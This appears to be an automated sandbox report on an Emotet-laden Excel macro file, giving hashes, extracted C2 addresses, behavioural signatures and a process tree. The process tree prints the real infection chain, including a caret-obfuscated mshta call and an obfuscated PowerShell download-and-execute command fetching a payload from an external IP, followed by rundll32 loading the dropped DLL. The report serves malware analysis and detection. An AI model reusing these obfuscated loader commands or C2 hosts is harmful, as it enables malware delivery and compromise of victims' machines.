Analysis
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max time kernel
150s -
max time network
144s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
19-01-2022 22:06
Behavioral task
behavioral1
Sample
c3f53e74cbc71cf1956d17dae939c2d9f31a1c2e81328a3ca88ceb1e3bf652c0.xlsm
Resource
win10-en-20211208
General
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Target
c3f53e74cbc71cf1956d17dae939c2d9f31a1c2e81328a3ca88ceb1e3bf652c0.xlsm
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Size
115KB
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MD5
383a3c7cdb5a9070656164e0b90e41a5
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SHA1
af0b4eedbd1c6d85705c26ebb3955f8b35a8cea8
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SHA256
c3f53e74cbc71cf1956d17dae939c2d9f31a1c2e81328a3ca88ceb1e3bf652c0
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SHA512
c37692e7c9a60fcda701450a620f09c0c95db6e6a1ee3188c2897d09a621d80e3f0fb539506f458ab5c20a7e5adc8adfbe2bcad0860c4bb9484f6292eb391b9c
Malware Config
Extracted
http://0x5cff39c3/sec/se1.html
Extracted
http://92.255.57.195/sec/se1.png
Extracted
emotet
Epoch5
45.138.98.34:80
69.16.218.101:8080
51.210.242.234:8080
185.148.168.220:8080
142.4.219.173:8080
54.38.242.185:443
191.252.103.16:80
104.131.62.48:8080
62.171.178.147:8080
217.182.143.207:443
168.197.250.14:80
37.44.244.177:8080
66.42.57.149:443
210.57.209.142:8080
159.69.237.188:443
116.124.128.206:8080
128.199.192.135:8080
195.154.146.35:443
185.148.168.15:8080
195.77.239.39:8080
207.148.81.119:8080
85.214.67.203:8080
190.90.233.66:443
78.46.73.125:443
78.47.204.80:443
37.59.209.141:8080
54.37.228.122:443
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3688 492 cmd.exe 68 -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
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Blocklisted process makes network request 5 IoCs
flow pid Process 35 3988 mshta.exe 38 1088 powershell.exe 40 1088 powershell.exe 47 1768 rundll32.exe 48 1768 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
pid Process 1992 rundll32.exe 1504 rundll32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Zmymbadnnmtayjxq\hohhfyz.bue rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
pid pid_target Process procid_target 3272 3988 WerFault.exe 74 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 492 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
pid Process 1088 powershell.exe 1088 powershell.exe 3272 WerFault.exe 3272 WerFault.exe 3272 WerFault.exe 3272 WerFault.exe 3272 WerFault.exe 3272 WerFault.exe 3272 WerFault.exe 3272 WerFault.exe 3272 WerFault.exe 3272 WerFault.exe 3272 WerFault.exe 3272 WerFault.exe 3272 WerFault.exe 3272 WerFault.exe 1088 powershell.exe 1768 rundll32.exe 1768 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1088 powershell.exe Token: SeDebugPrivilege 3272 WerFault.exe -
Suspicious use of SetWindowsHookEx 20 IoCs
pid Process 492 EXCEL.EXE 492 EXCEL.EXE 492 EXCEL.EXE 492 EXCEL.EXE 492 EXCEL.EXE 492 EXCEL.EXE 492 EXCEL.EXE 492 EXCEL.EXE 492 EXCEL.EXE 492 EXCEL.EXE 492 EXCEL.EXE 492 EXCEL.EXE 492 EXCEL.EXE 492 EXCEL.EXE 492 EXCEL.EXE 492 EXCEL.EXE 492 EXCEL.EXE 492 EXCEL.EXE 492 EXCEL.EXE 492 EXCEL.EXE -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 492 wrote to memory of 2400 492 EXCEL.EXE 71 PID 492 wrote to memory of 2400 492 EXCEL.EXE 71 PID 492 wrote to memory of 3688 492 EXCEL.EXE 72 PID 492 wrote to memory of 3688 492 EXCEL.EXE 72 PID 3688 wrote to memory of 3988 3688 cmd.exe 74 PID 3688 wrote to memory of 3988 3688 cmd.exe 74 PID 3988 wrote to memory of 1088 3988 mshta.exe 76 PID 3988 wrote to memory of 1088 3988 mshta.exe 76 PID 1088 wrote to memory of 1268 1088 powershell.exe 79 PID 1088 wrote to memory of 1268 1088 powershell.exe 79 PID 1268 wrote to memory of 1992 1268 cmd.exe 80 PID 1268 wrote to memory of 1992 1268 cmd.exe 80 PID 1268 wrote to memory of 1992 1268 cmd.exe 80 PID 1992 wrote to memory of 1504 1992 rundll32.exe 81 PID 1992 wrote to memory of 1504 1992 rundll32.exe 81 PID 1992 wrote to memory of 1504 1992 rundll32.exe 81 PID 1504 wrote to memory of 2644 1504 rundll32.exe 82 PID 1504 wrote to memory of 2644 1504 rundll32.exe 82 PID 1504 wrote to memory of 2644 1504 rundll32.exe 82 PID 2644 wrote to memory of 1768 2644 rundll32.exe 83 PID 2644 wrote to memory of 1768 2644 rundll32.exe 83 PID 2644 wrote to memory of 1768 2644 rundll32.exe 83
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c3f53e74cbc71cf1956d17dae939c2d9f31a1c2e81328a3ca88ceb1e3bf652c0.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:492 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2400
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C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3688 -
C:\Windows\system32\mshta.exemshta http://0x5cff39c3/sec/se1.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3988 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1088 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:1268 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1992 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1504 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Zmymbadnnmtayjxq\hohhfyz.bue",KwVP8⤵
- Suspicious use of WriteProcessMemory
PID:2644 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Zmymbadnnmtayjxq\hohhfyz.bue",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1768
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3988 -s 16644⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3272
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